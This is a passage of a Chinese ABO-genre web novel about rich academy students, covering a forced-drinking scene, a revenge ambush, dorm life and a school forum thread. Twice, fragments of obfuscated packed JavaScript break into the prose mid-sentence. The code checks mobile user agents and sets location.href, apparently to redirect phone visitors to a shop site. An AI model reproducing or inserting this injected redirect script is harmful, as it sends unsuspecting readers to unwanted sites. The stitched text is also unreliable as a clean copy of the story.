简令祁瞳孔骤缩,陡然间不受控的酒水连续涌入口中,吞咽动作慌乱。他试图躲开,头发却被死死拽着,只能被迫着继续。 暗红色酒水因吞咽不及时而从缝隙溢出,或沿着光洁下巴蜿蜒流下,或在空中直接滴落。 好好的昂贵红酒,却因纪莱星粗鲁的动作浪费了大半。 白色衬衫被浸红一片,湿湿地黏在皮肤之上,皮肤大面积晕出醉意的粉色。衬衫下几乎能看见其下贴合皮肤若隐若现的皮肤肌理,勾勒出清晰线条。衬衫外的黑色马甲也有一片变深了。 简令祁近乎狼狈地被逼着喝酒,忍不住往后退,却发现腰身被冷硬的大理石桌抵住,退无可退。 冰冷的大理石桌边缘将仅有层单薄衬衫马甲的后腰冻得微一瑟缩,因酒精作用变得敏感的脊背处迅速被硌出红痕。 浓烈酒气中,他意识混乱,单手抵在身旁,指尖用力泛白。 纪莱星松开他的头发,腾出一只手懒懒压在简令祁手边,这个姿势像是将人圈在了怀里。 酒瓶突然被另一人夺去。 大幅度的动作让酒水在瓶与唇的间隙间洒了一片,铺在地上的毛绒毯子浸上水色,深了一大片。 纪莱星看着被夺走的酒瓶,抿了抿不知为何变得干涩的唇,半晌,再次扬起笑容,眉眼染上几分懒怠,悠悠抬起:“怎么了吗泊知?” 林泊知随手将酒瓶放在桌上,看也没看纪莱星,而是对简令祁:“你没事吧。” 简令祁撑着桌子,微垂着头,晃了晃脑袋,眸里漾起点迷蒙的水色。听见这句话时下意识抬头,两颊薄红,唇色漂亮得不像话。 和平日禁欲冷漠的模样无半点相似。 显然不是没事的模样。 下一秒,他抬起袖子将脸上的酒水擦去,出声时语调平稳:“没事。我能走了吗?” 嗓音带着点明显的沙哑。 林泊知微愣,喉结上下滚动。盯着他往旁边挪了一步。 简令祁从他腾出的空隙中走了出去。 纪莱星手撑在桌上,扬唇看着简令祁的背影,直到门被合上,才将视线重新移到林泊知身上。 耸了下肩,无辜道:“你生气了?我一兴奋就没忍住,他实在太漂亮了。不好意思啦。” 他笑嘻嘻地道歉。 林泊知冷着脸,后颈的腺体又开始发烫了。手摸了摸口袋,只摸到平坦一片。 他抬眸,一字一句艰难道:“你们带抑制剂了吗?” 三人凑成一堆,认真翻找,拼拼凑凑翻出两支抑制剂,递给林泊知。 林泊知沉着脸,拿起便扎在脖颈,将液体推入的动作有些急躁。 连着用了两支,稍微缓解了些皮肉之下血液的疯狂翻涌。 时楸亦啧了一声:“我不就出国一年,你怎么搞成这幅模样了?——易感期了?” “你还不知道他吗?和天天易感期有什么区别?”纪莱星嗤笑一声,“迟早得抑制剂依赖症。” 抑制剂依赖症并不是一个学术上的名称,通俗来讲,问题出于AO对于抑制剂的使用过于频繁。 抑制剂本身的原理是抑制神经兴奋,使用次数过多便会让使用者对抑制剂产生一种生理上心理上的双重依赖,从而使用频率不断增高,效用也不断削减。 一般来讲,处于易感期的alpha最好选择omega临时标记,或者靠其他的身体接触缓解这种难耐的痛苦。 但是—— 林泊知根本不能忍受和其他人的肢体接触。 自小时候起,和陌生人的接触就会让他产生生理性反感,大面积的接触甚至会让他反胃呕吐。 随着年龄增长,这种不正常的心理疾病有所好转,但也没好多少。 林泊知说:“以后就好了。” 谁也不知道为什么以后就好了。 但从小到大他听得最多的一句就是——以后就好了。 或许是说一定会找到一个合适的omega,或许是成熟后他会不再抵触正常的肢体接触。 总之。 以后就好了。 * 纪莱星是四人中最后离开酒韵的。 他独自在歌舞喧嚣的大厅里玩了好一会儿,身上沾了一身酒气,见天色已很暗了,才和身旁人最后做了一个贴面吻,桃花眼弯着,连绵缱绻仿佛要拉出丝来。 转过身后目光瞬间恢复清明,再找不到丝毫留恋的影子,仿佛方才只是逢场作戏。 他从侧门出去了。 酒韵外的小道没有安装监控的,一路上经过不少拥吻得难舍难分的人,纪莱星笑吟吟地盯着那些人看,一边哼着不成调的曲子悠悠往外走。 突然,他猛地意识到点不对劲。 alpha体魄带来的敏锐五感让他捕捉到了点很细微的脚步声。 脚尖一转正要回头,下一刻,后腰被狠狠踹上。 啧。 伴随着不受控倒地的动作,纪莱星脸色沉得像是要杀人。 那一下力度大得仿佛要将他的肋骨踹断,养尊处优的公子哥还从没被人这么对待过,疼得身子都蜷了起来,挣扎着爬起来。 还没等他缓过来,后脑勺就挨了一闷棍。 “哐当——” 是棍子掉落地面的声音,其余再无响动。 那人无声无息离开了。 纪莱星疼得想骂人,脑后传来的剧痛却让他连骂脏字都没力气。安安静静地在地上趴了好一会儿,他才终于有力气伸出一只手,摸索着轻轻触碰了下后脑勺,不出意外摸到粘稠的液体。 流血了…… 纪莱星方才还稳得出奇的手突然颤抖起来,俊俏的五官也皱了起来,眨着眼一脸茫然无措。 不是、他晕血啊! 纪莱星现在出于一种晕或不晕的不定状态,一想到后脑勺在汩汩流血,就生出一种动也不敢动的恐惧感,甚至比被打一闷棍的疼痛更甚。 他深吸一口气,一边小声安慰着自己,一边努力地缓慢地拖着身子挪到墙边。 多亏了alpha强健的体魄,以及远超beta和omega的耐疼能力,否则纪莱星早已陷入昏迷,现在也不用再尽力思考现状了。 理智告诉他,现在应该尽快拿出手机叫救护车,但一想到脑后不断涌出的血液,他就仿佛僵住一般,保持着一动不动的状态。 明明伤在脑后,眼前却近乎一片血红的雾。 血雾忽然映入一个穿着简单的身影,掠过他直直向前走去。 “简——!”他下意识喊出声。 旋即一道手电筒的光打向了他,将他的窘态全然暴露。条件反射地抬手去挡。 简令祁居高临下注视着他,像是才注意到墙角这儿还有个人。 纪莱星抬头看他,咬着牙一时没说话。 毕竟要向一个不久前他才欺辱过一番兼“情敌”的人求救,纪大少爷一时间放不下自己那点高高在上的自尊心。 他不出声,简令祁也没开口,只静静看着他后脑勺涌血的伤口,唇角好像轻微上翘了一下。 可能是错觉吧,纪莱星想。 “我、我怕血。” 近乎示弱的话被他以极小的声音说出。 简令祁站在阴影里,手里握着的手电筒的光亮得刺眼,甚至连纪莱星脖颈处的一枚吻痕都照得清清楚楚。 纪莱星没来由感到一阵羞耻,声线微颤:“可以送我去医院吗?” 简令祁还是盯着他看。 纪莱星莫名觉得他是在通过这种打量来估算同意与否的价值。 难言的耻辱感猛地窜上脊背。 黑暗中他看不清简令祁,简令祁却能将他看得一清二楚。 好不公平。 “有报酬吗?”简令祁问。 帮他为什么还要报酬?别人想要这个机会还排不上队呢! 纪莱星感觉自己因这种明码标价的交易而变得难堪起来。 就好像简令祁帮他不是因为他是纪莱星,而是因为别的东西。 他讨厌自己的价值在对方冷淡的三言两语中被否定。 但当务之急是受伤的头。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213585|151124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 纪莱星忍气吞声:“你不是缺钱吗?我给你钱!” 简令祁垂下眸:“多少?” “十万!十万行了吧!” 纪莱星有点委屈,他都快流血身亡了啊!这人怎么还在和他讨论些钱不钱的,他堂堂纪家人难道会赖账吗? 简令祁唇角扬了下,这下纪莱星确定不是错觉了。 紧接着他就蹲了下来,平视着纪莱星,陈述着事实:“大少爷,现在是你有求于我,你确定——你要继续这个态度吗。” 坦白来讲,纪莱星今天是第一次与简令祁接触。之前只是听说过这个名字,抑或是远远看见过一眼,但只有这次,近距离地接触到他,无比直观地让纪莱星感受到了论坛上简令祁的讨论度到底为什么会那么高。 太漂亮了。 性子也冷得出奇。 盯着他喝酒时,纪莱星几乎移不开眼,血液仿佛被火星点燃,捕猎的兴奋在瞳孔中跳跃。 后来的一切都发生得顺理成章。 纪莱星也没有生出后悔惭愧之类的心情。 像这种众星捧月长大的富家少爷,让他拥有同理心是一件极其可笑的事。 纪莱星看着简令祁真的不为所动的那张脸,情绪突然激动,大声道:“那你就看着我死在这儿吧!” 陷于对血的恐惧中而暂时下线的理智让他忽略了简令祁出现在他身边的时机为什么会这么巧合,也忽略了敲他闷棍的人专门挑了没有监控的地方又为什么不下死手。 他现在只有满腹的委屈——对血的恐惧,对简令祁的不满,让本来就没有情绪管理的大少爷完全控制不住情绪,天生含情的眼睛只装着简令祁一人,企图这样就能听到点软和话。 然而他的愿望落空了。 简令祁不为所动:“你可以再大声点,喊来别的人,说不定会有愿意帮忙的人。” 他平静说完后,起身准备离开,裤腿被扯住。 手电筒的光打在那处。沾血的手颤颤巍巍抓住了他宽松的裤腿,纪莱星仰头看他,莫名有点可怜:“你刚刚答应我了!” 他才不要自己这幅狼狈模样再被其他人看见! 简令祁没有直接转过身,而是微微侧头:“那你该对我说什么?” 纪莱星咬牙切齿:“麻烦你送我去医院。” 又吼道:“我快要死了!” alpha哪有那么容易死? 简令祁抿了下唇。 他动的手他能不知道吗? 他根本没下死手,就是受了气忍不下,所以找着机会报复回来。换任何一个alpha都能马上叫救护车去医院了,但他是真的没想到纪莱星居然怕血…… 藏在阴影里看了半晌,他发现纪莱星是真的不叫救护车。担心纪莱星真的死了,纪家会找他麻烦,于是不得不出来处理一下。 简令祁拿出手机,拨打救护车号码。 “等下——你别在这里叫救护车,”纪莱星顿了顿,像是也觉得自己这个要求有些为难人,但焦急还是战胜了这点,“我家里要是知道我在酒韵弄成这样,一定会限制我的出行的!” 简令祁握着手机。 纪莱星从他的神色里看不出什么,但他觉得简令祁应该是有点不耐烦了。 “我可以加钱!二十万可以吧。至少过条马路再叫救护车。” 至于简令祁用什么办法让他过马路就不在他的考虑范围之内了。 简令祁思索几秒:“行。” 他把手电筒塞到纪莱星怀里,冷硬道:“拿着。” 纪莱星乖乖抓好,下一秒整个人腾空,蓦然睁大了眼睛。 他被简令祁横抱起来了。 纪莱星进行着缓慢的思考。他,一个名副其实的alpha,居然就这样被横抱起来了?! 他也没看出来简令祁力气这么大啊!明明在包间里看起来单薄又瘦弱的…… 简令祁甚至没有任何的动作缓冲,生生就将他从地上抱了起来,只稍微皱了眉头,但手却很稳。 纪莱星正震惊着,一眨不眨地盯着那双漂亮的眼睛,心里生出点别样的情绪,再然后这点才升起的情感就被接下来的话打碎了。 “头抬起来,血要沾上我的衣服了。”语调冷淡。 5. 第 5 章 夜深人静,萦绕在圣维埃的光晕星星点点亮起。 宿舍楼的位置偏远,离教学区远,和校门离得更是远。 简令祁骑着共享单车,晚风吹起额前碎发,露出极精致的冷冽眉眼,到宿舍楼下时停住。闷热的风混着未散尽的酒气晕染开来,他皱了皱眉,罕见地生出点燥郁的情绪。 在酒韵后门附近“救助”纪莱星耽搁了他不少时间,以至于现在已是晚上十一点了。 圣维埃学院的宿舍没有门禁,住宿的绝大部分都是特招生。 简令祁在这所学院待了一年了,这学期才申请住宿,同时这也是他两辈子加起来的第一次住校。 简令祁甚至还没见过他的室友。 他找宿管领了钥匙打开门后,明亮灯光下,屋内男生恰好也朝门口看来。 视线相对,简令祁赫然发现,竟然还是个熟面孔。 男生立刻起身,讶异道:“学长?好……巧。” 可不就是巧吗? 下午才见过面,现在又重逢了。 简令祁朝他颔首,阖上了门。 乔榆是一年生,简令祁是三年生,按理说是不大可能成为室友的。 也不知道学院的匹配机制是如何运作的,好巧不巧的就将他们二人分在了同一个寝室。 乔榆脸上的小伤口大概是已经处理过了,下颌处贴了片卡通创口贴,额头淤青消得差不多了,后颈处不知道受了什么伤,仍旧盖着纱布。 大概是洗过澡了,头发干爽,穿着可爱风的睡衣。 端正站着的时候像是一棵小青松,表情有种说不出的认真,像是那种听不出玩笑话,于是会把别人的每一句话都放在心上的传统好学生。 除去起初的简单寒暄之外,就没人再讲话了。寝室里意外地陷入安静。 乔榆用力抿了抿唇。他难以从简令祁那张面无表情的脸上看出点什么来,冰冷的气质让少年整个人散发着一种难以接近的疏离感。 ——前提是,如果没有下午那件事的话。 下午出现在厕所隔间的少年逆着光站着,为他打开门的那一幕太过于美好了,以至于让乔榆第一次生出主动接近这样一位——看起来不太好相处的人的念头。 简令祁找好换洗衣服后就进了独立卫浴,并未主动和他闲聊几句。 乔榆有些失落地重新坐回椅子,回到自己之前的事情当中。 手里捏着试卷一角,右手笔尖停在一个数学式子边上,墨水晕染纸张。 他睁大眼睛,眼中蓦然出现懊恼情绪。 嘶! 这道题思路断了。 乔榆方才式子写了一半,扭头看见简令祁的那瞬间脑子一空,不知道为什么就站起来了。现在重新回到这道题,他不得不将题目从头读起。 浴室里传来连绵水声。 乔榆眼睛眨个不停,倒是确实在读题,只不过读完一遍后发现自己一个已知条件都没记住。 他猛地甩甩脑袋,用力拍了拍自己泛红的脸,强迫自己认真起来。好不容易才重新进入状态。 水声不知道多久停了。 “砰砰——” 乔榆抬起头,左看右看,迟疑着声音来源。 “砰砰——” 这下他确定了,是浴室里传来的声音。 简令祁在从里面敲门。 乔榆走近,磨砂材质的门可以看见一点模糊的身影。他反应过来映出的是什么,脑子一热迅速背过身靠在边上,故作淡定地大声问道:“怎么了吗?” “突然停水了。” 隔着浴室门,声音有种闷闷的湿气,“我在里面没找到控制水流的装置。乔榆,你可以帮我找下吗?” “啊……啊!那我在外面找找。”磨砂门外的人回过神,立即应道。 乔榆已经去找了,简令祁在浴室里也没什么别的事做。 随手将额发往后捋,露出光洁的额头。另一只手无聊地上下摆弄着水龙头的开关。 真是倒霉。 没有了热水带来的腾腾热气,浴室内的温度很快降了下去,简令祁感觉有点冷了。 晚上在酒韵兼职时沾了一身酒水,黏糊又难闻。但那边洗不了澡,简令祁只换了一套衣服,还忍着不适把纪莱星送去了医院。 没想到回来还遇上停水的情况。 早知道今天就该请假了,诸事不顺。 简令祁烦躁地想,手再次将淋浴的控水开关往上扳,“哗”的一声水从头而下。 简令祁:“……” 门外是越来越近的快速脚步声。 男生积极回应:“学长我调好了!” 简令祁晃了晃脑袋,水珠连颗落下:…… 他知道。 他已经感受到了。 淅淅沥沥的水声中,乔榆听见简令祁说:“谢谢。” 谢谢……! 乔榆深吸一口气,抑制住自己想大声喊出来的兴奋,脸上的笑容却越来越大,莫大的成就感在他心里迸开。 回到位置,他不再为难自己继续钻研难题,笑盈盈地将没练完的试卷折好收起,从柜子上整整齐齐的书里抽出一个精致的本子。 书封很厚,配色简单,设计简洁。 他先是翻开扉页,下方写着一行隽秀的小字。 “没有人是一座孤岛,独自存在于整个世界之中。”① 再往下是相比起来较小的字:“——给小榆(世界上最可爱的宝贝)的十岁生日礼物” 乔榆的手指轻轻拂过两行字,弯着眼笑。随后翻到空白页开始写字。 “9月1日晴 今天是我来到圣维埃学院的第一天,一切顺利。 下午我经过操场时,听见一个男生的哭声,听起来好可怜,我还听见了其他人的声音,还有,应该是棍子打到身上的声音,我不太确定。 明明很大声,旁边人却都像没听见一样走开了。我还是没忍住,冲上去了。 我受了一点伤,头撞在墙上的时候很疼,……好吧,其实手和腿也疼。早知道以前应该学学拳击或者跆拳道的,而不是去学舞蹈,一点用也没有。这样的话,可能今天就不会像这样束手无措了吧。 那个男生趁着这个机会跑开了,我好生气。明明我是想帮他,但他看上去并不是很需要我的帮助。太冲动了,我不该上去的,我就该看着他被那群人打死。” 写到这里,他笔尖一顿,旋即将最后两段字划掉了,又反复来回划线,直到看不清为止。 做完这一切后,他凝视字迹几秒,“嚓”得一声将整页纸撕了下来,揉成团扔进垃圾桶。 把前面内容原封不动默下来后,他继续写着。 “我把那些人全都赶走了,那个男生很感谢我,还夸我厉害!以后我要继续做这样的事。 我知道,您教我的是对的。力所能及帮助别人,是一件很有意义的事。 …… ——我今天遇见了一个人。 一开始,我只是觉得有些疲惫,想找个安静的地方休息一会儿,于是特意挑了厕所最里层的隔间躲着,但当我调整好情绪,准备出去时,门已经被锁上了,还有人往门里倒了一盆水,幸好我反应快躲开了,只是头发湿了,衣服倒没多大事。 我是不是很厉害? 对不起,我其实没有那么厉害,我太窝囊了,不敢出门质问他们,没忍住又开始哭了。 但是过了一会儿,隔间被一个人打开了。我抬起头看他。 他很高,背着光看不太清脸,但我认出来了,他是开学典礼上演讲的学长。 他长得特别特别特别好看,真的! 但好像有点冷漠,感觉不太好接近的样子,而且笑也不笑。如果他能对我笑一下就好了。 我居然和他是室友,而且,他还记住了我的名字。开心^_^ 他好像还挺温柔的……” 乔榆想了想,脑海中无端冒出简令祁回寝时冷淡寡言的表现,抬笔在温柔后面加了一个问号,表示此点存疑。 浴室门被打开了,内里蕴着的雾气迅速蔓延开来,又很快消散。 简令祁拿毛巾随意擦着润湿的头发,长睫上水汽凝成水珠,瞥了那边一眼恰好与乔榆相对视,水珠随着抬眼的动作沿浓密睫毛落下、破碎。 乔榆睁大眼睛,下意识抿住唇,呼吸也停滞一瞬。 简令祁换了睡衣,同样是将扣子扣在了最上一颗,但领口处在浴室中被湿气润湿了大半,贴在白得透明的皮肤上,水珠顺着湿润的发丝滴落。 他的视线并未多做停留,一边擦拭头发,一边朝自己床位走。径直回到自己位置后,就立马切换至了学习状态,没分出一点神来给寝室里的另一个人。 乔榆悄悄探出头观察他。 他抿着唇思考的样子和平日里不太一样,眉眼微敛中和了平日冷漠的锋芒。中性笔尖与草稿纸摩擦发出细微声响。 即便是打草稿,他也习惯性按照题号分区域写,便于写完后一眼检查到答案。 草稿纸甚至比大部分人的正式作业还要规整。 * 圣维埃的食堂依旧遵循着贵族学院的格调,修建得古典又奢侈。 午饭时间,食堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213586|151124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里人来人往。 一周下来,简令祁渐渐也习惯了住宿生活。 他打了一份最便宜的素菜,端着盘子找了个空位坐下,边吃边想着上午还没算出来的那道生物题。 说真的,abo世界的生物遗传题怎么能这么复杂? ——还是性别太多了。 因遗传题而深受困扰的简令祁不太开心地吃下一口青菜。 虽说圣维埃食堂座位并不紧俏,但也少见简令祁这样周围一个人也没有的情况,像是所有人都绕着他,故意和他隔开似的。 简令祁也不在意,静静地想自己的事。 “哐当。” 随着这突兀响声,简令祁的余光中突然纳入了一个多出的餐盘。 简令祁一顿,旋即抬头,漫不经心地看着纪莱星那张写满肆意张扬的脸,缓慢咽下口中的青菜。 伤好出院的大少爷矜持坐下,理了理袖子,接着慢条斯理地夹起自己盘里的一块排骨放到简令祁盘里。 简令祁扫了眼盘里多出的排骨,又抬起眸,注视着他没说话。 被那双浅色眼睛这样认真盯着,纪莱星莫名生出点不自然,扬了下眉,找回自己平常的声音,以一种教训的口吻质问道:“你为什么不打荤菜?我不是刚给你打了二十万吗?” 纪莱星皱了皱眉。 提起这件事他就生气。 他从医院醒来时身旁一个人也没有,一看手机,里面只有大哥例行公事般发来的一条慰问短信。 他从病床上坐起,摔了手机,开始等简令祁回来。结果等了好一会儿也没见着简令祁人影,一问护士才知道他居然没等他醒就已经走了! 他不得不又捡回手机,划开几个社交软件,找着有没有别的消息。 答案是——无。 简令祁没有找别人要来他的联系方式,给他发消息。 他憋着气,又在病床旁边找了好半天,结果只在床头柜处看见一张便签,上面仅写了一串银行卡号。 仅有的一行冰冷的数字让纪莱星气得不行,感觉后脑勺正在恢复的伤口都在隐隐作痛了。故意拖了三天才给简令祁转账。 然而翘首以待的他发现简令祁在这期间居然真的一直没找过他。 就不能催他打钱吗?! 简令祁低下头,继续吃饭:“没钱了。” 纪莱星持续给他夹肉的动作一滞,咬牙切齿重复强调:“我刚给你打了二十万。” “嗯,现在没钱了。”简令祁也是今天打饭时才发现饭卡里剩的钱不多了,计算了下可支配的钱,干脆打了青菜将就着吃。 奖学金刚好也就是这段时间到账,他准备着等奖学金到账再充饭卡。 他夹起那块排骨,不紧不慢喂入嘴里。即便是这样随意的吃饭动作,被他做出来也极具观赏性,时不时就有其他桌的人朝他投来隐蔽的视线。 纪莱星听见他的话,莫名生起气来,瞪着那双天然含情的桃花眼:“我就该把那二十万直接充在你的饭卡里。” 简令祁像是真的考虑了下这件事的可行性,点点头说:“也行,但不用充二十万,太多了,花不完。” 闻言纪莱星更气了,筷子一放,与盘子相撞时发出清脆声响。 他拧眉质问:“林泊知不知道你每天吃这些吗?” “这和他有什么关系?” 说完这一句后,简令祁放下筷子,抬眼冷淡,“吃饭时可以不说话吗?” 纪莱星大声反驳:“我又没吃!” 说完他一顿,这时候才反应过来他一直在给简令祁夹肉,像是伺候他用餐的仆人似的,心里的火气一股一股地蹿。 但一看简令祁餐盘里的那些可怜巴巴的青菜,于是继续愤怒地给他夹肉,一边说:“你是不是没和林泊知说过你饭卡里没钱,你不好意思是不是。我去和他说!” 简令祁还一句话没说,他就自顾自给他安排好了。 简令祁忍不住再次抬眼看他一眼,突然发觉这人是真的有点蠢。 他怎么也不动脑子想想,连他都能发现的事,林泊知怎么可能不知道。甚至连没有人敢坐在他身边吃饭这件事,简令祁也有百分之百的把握确定这事和林泊知脱不了干系。 威胁、利诱、企业打压……方法有很多,简令祁不怀疑林泊知这个人什么事都能做得出来。 明明他们什么关系都没有,却对他有种诡异的占有欲和控制欲。 神经病一样。 简令祁嘴唇微张,旋即又闭上了。 ——算了,他愿意问就去问吧。 反正左右与自己无关。 6. 第 6 章 纪莱星垂眸盯着他吃饭,表情严肃,让人看不出他在想些什么。 等简令祁吃完了他那盘饭菜还一动没动,一双眼睛仍然一眨不眨地盯着对面的人。 直到简令祁握住餐盘准备离开了,他才仿佛恍然回神一样,条件反射似的迅速起身紧攥住对面人的手腕。 简令祁垂下浓密眼睫,视线落在被圈住的手腕上,纪莱星像被这视线烫了一下,手忙脚乱缩回手,忽然又意识到自己这样有多掉价,动作僵在半途。 十分刻意地清了清嗓子,恢复到自然的模样,嗓音压低,出声时是熟稔的调情语气:“下午是公休,你这是急着去哪儿呢?” 简令祁看上去有些烦他,但居然真的给出了准确答复:“实验室。” 纪莱星皱了下眉,什么实验室? 还没等大少爷贫瘠的大脑思考出个所以然来,骤然逼近的脸就使得他的心脏猛地一跳。 仿佛一瞬间世界按下了暂停键,他清晰听见自己一下又一下有力的心跳声,行动仿佛被束缚住一般,他鼻翼翕动,似乎能嗅见极浅淡的来自于少年身上的香气。 这是一种单纯的、与信息素无关的吸引力。 久经情场的他本应该游刃有余地把这当作一场调情进行,他可以摸上少年的下巴,用手指撬开他的唇齿,暧昧而温柔地抚摸他整齐的牙齿,看那张漂亮到不真实的脸露出些难耐的渴望的神态。 或者就像那天在酒吧包间一样,打破他冰冷疏离的面具,看着他冰冷的脸蛋被眩晕的绯红所替代,一双眸子水汽弥漫。 但这时候,他却是什么都做不出来了,僵直着身子,像个傻瓜一样被动地接受着那双极浅的瞳孔的注视。 好似他现在做什么都是对对方的一种亵渎。 简令祁比他稍高一点,因而微微垂下眼睫,蝶翼似的睫毛盖住一小半瞳孔,说话时语速不急不缓,贴着耳廓轻声响起:“因为我救了你,所以你爱上我了?” 这是一句没有带上任何情绪色彩的问话,但偏偏纪莱星的心脏却因此越跳越快,无意识间左手已经撑在了旁边桌子上,像是在支撑自己晃动的身体。 偏冷感的声音还在继续,刻意压低了声音,不偏不倚传进他耳朵里:“可是,你不是知道林泊知喜欢我吗?” 纪莱星猛地咬紧牙,遽然侧过脸,犹疑难定的目光紧紧锁住他,浑身仿佛过了一道电,细小电流顺着脊背窜起,直接连通大脑深处的某一区域。 简令祁见他这个反应,反而笑了。 但他笑起来也不是很明显的笑,只是唇微微翘起了点,似是引诱:“你是要和……你的好兄弟争吗?” “好消息是,我现在还没有喜欢的人哦。” 说完这句,他近距离看着纪莱星因他这番话陷入纠结的神情,又迅速失了兴趣。 唇角压平,恢复到了正常站立的姿势,脊背挺直,完全又是往日里不近人情的模样,看也没看发愣的男生,面无表情径直离开了餐桌。 随着他离开,纪莱星的心跳丝毫未平息,反而有种愈演愈烈的趋势,撑在桌上的那条手臂隐藏于黑色外套下的青筋凸起。 和林泊知抢吗? 他沉着眼,磨了磨牙。 可林泊知说了,他不喜欢他。这能算抢吗? 那我呢? 他这样问着自己,见色起意,也能叫喜欢吗? * 简令祁加入的实验室的研究方向主要与信息素相关,再具体点,可以理解为探究alpha与omega或轻或重的信息素依赖症以及能否使用现有技术对其进行干预。 他们课题组的人并不多,并且全员beta。 beta能够保证在实验过程不受信息素干扰,但与之而来的一个问题是,试验进度不能立即得到反馈。 但这个问题也不是很紧迫,至少要先做出成品再考虑投入使用。 简令祁是课题组里唯一一个三年生,也是唯一一位特招生。年纪最小,但整日里绷着一张脸,单看神情,完全看不出属于那张脸的青涩稚嫩。 他套上白色洁净服,戴上蓝口罩,进了实验室就迅速切换至应有的状态。 他向来都是不受打扰地专注做自己的实验,但今天这时候,他始终感觉有不少注视着他的目光,等他一抬头,那些原本落在他身上的目光又慌忙转移了。 “有什么事吗?”他打破沉寂,礼貌开口。 那围在一起的几人推推阻阻,最后总算有一人勇敢站出来,和他讲话时有些紧张,不敢看他的眼睛:“你看论坛了吗?” 简令祁没有看论坛的习惯,更何况现在还是在实验室,他并不想将时间花在这些无聊的事物上。 不过他大概能猜到。 与他有关,又发生在今天,无非就是中午发生在食堂的事。 那位beta看出简令祁没多少兴趣,也不敢再打扰他,几个人围在一起窸窸窣窣了一会儿,连忙回到自己的工位上。 * 圣维埃论坛。 ——主题:【今天有几个人看见食堂那一幕了??】 1L:【看到了。心情沉重。】 2L:【看到了。情绪复杂。】 3L:【不是、我怎么没看懂呢??3不是有对象吗?虽然换得勤,但也从来没有过脚踏两条船这种情况啊。】 4L:【早分了,3前对象现在在追[花花],上次我才撞见他悄悄往[花花]抽屉里塞礼物。】 即便这是个匿名论坛,但大家发言时也极其谨慎,并不常出现真实人名。 就像这里,他用了一个花瓣emoji代指简令祁,用数字3代指纪莱星。 5L:【所以……?】 6L:【楼上的不必多说,我和你想的一样。】 …… 105L:【等等——现在是2和3都喜欢上[花花]了?按上星电视剧情来说,接下来的难道就是兄弟反目,大打出手?】 106L:【楼上狭隘了。接下来的剧情就不能是“我不是来破坏你们的,我是来加入你们的”吗?】 …… 楼主:【不多说,直接放图。[图片链接]】 配图是中午食堂的照片。 构图中心是两个身形同样优越的男生,挨得很近,两人静静看着对方。视线在空气中交缠,有种别样的张力,仿佛这不仅是一个简单的对视,而是更亲密的纠缠。 图片聚焦于二人,旁的一切都做了虚化处理。 清晰度极高的照片连简令祁唇角微扬的弧度都拍摄得清清楚楚,清冷气质中流露出一丝少见的蛊人。 332L:【虽然但是,浅代一下,就当[花花]在对我笑好了。】 333L:【你代了?那我也代!】 334L:【你们都代?那我也。】 …… 421L:【3就这样被忽视了吗?3长得就是一副特别会玩的样子,就说圣维埃里,奔着和他处对象的人那不也成堆成堆的吗?有一说一,他们站在一起对我的眼睛特别友好。】 422L:【……楼上是在玩抽象吗?】 423L:【会玩那不更配不上[花花],楼上的楼上,什么成分啊??】 424L:【其实,如果[花花]真喜欢的话……那什么,3应该挺有那方面的经验,能让[花花]开心的话,我也能够忍痛割爱的。(弱弱)】 425L:【靠!别YY[花花]行吗??平时在人面前,话都不敢说一句,结果都跑论坛立法典来了?[花花]心情好,给了3一个眼神,这有什么好深究的。】 【得亏他是beta,要是换个性别,论坛上是不是都要把易感期发热期的段子全写一遍啊?神金。】 426L:【还是我,425L那个,刚刚没发完,补充一句:[花花]一看就x冷淡,麻烦别再有看不懂眼色的人沾边了。真服了。】 …… 612L:【楼上怎么吵起来了,只有我一个人在高兴吗?2严防死守那么久,最后被身边人撬墙角了,我真的想敲锣打鼓庆祝一下。】 【至今我还记得,上次运动会我鼓起勇气给[花花]送了瓶水,[花花]还对我说了声谢谢,我正沉浸其中无法自拔呢,转头就瞧见2夺过去扔垃圾桶里了![花花]扭头时正好和我对视上,还用口型和我说了句‘抱歉’。】 【啊啊啊啊!宝宝你不用抱歉啊!我一点都没怪你啊宝宝!都是2的错!!这种人最后被偷家,简直是罪有应得哈哈哈哈!】 * 此时的学生会办公室。 林泊知捏着手中的一叠照片,一张一张缓慢看完后,轻轻放在桌上。 视线没再紧盯着照片,面上看不出什么异常,只额角青筋一跳一跳的。 桌面上散落开来的照片上全是中午食堂时的简令祁。 或者说,是简令祁和纪莱星的双人照。 各个角度的,全方位地被记录了下来。 他撑起手肘轻按额角,将心里升起的迫切渴望见到简令祁的欲.望生生压下。 这个时间点……简令祁正在实验室,根本不会回他消息,说不准还要惹人厌烦。 他冷着脸拿出手机,被黑色皮革包裹的手指在手机屏幕上划了几下,点进了四人群聊。 对话框被点开,却迟迟未落下内容。 保持着这个动作好一会儿,他手指逐渐收紧,紧紧捏着手机边缘,用力得连手指都有了些微颤抖。最后他重重舒出一口气,终于冷静下来,没有一时冲动发出照片去质问纪莱星。 然而下一秒,消息列表一亮。 纪莱星私聊了他:【你现在方便吗?我来找你。】 林泊知抵了抵牙,神色不明,半晌,回道:【有,在办公室。】 纪莱星速度挺快,十分钟没到就赶到了这里。 他合上门转过身来,天生笑眼含着明晃晃的笑意:“泊知,你最近忙不忙啊?” “还好。”林泊知回得有些冷淡。 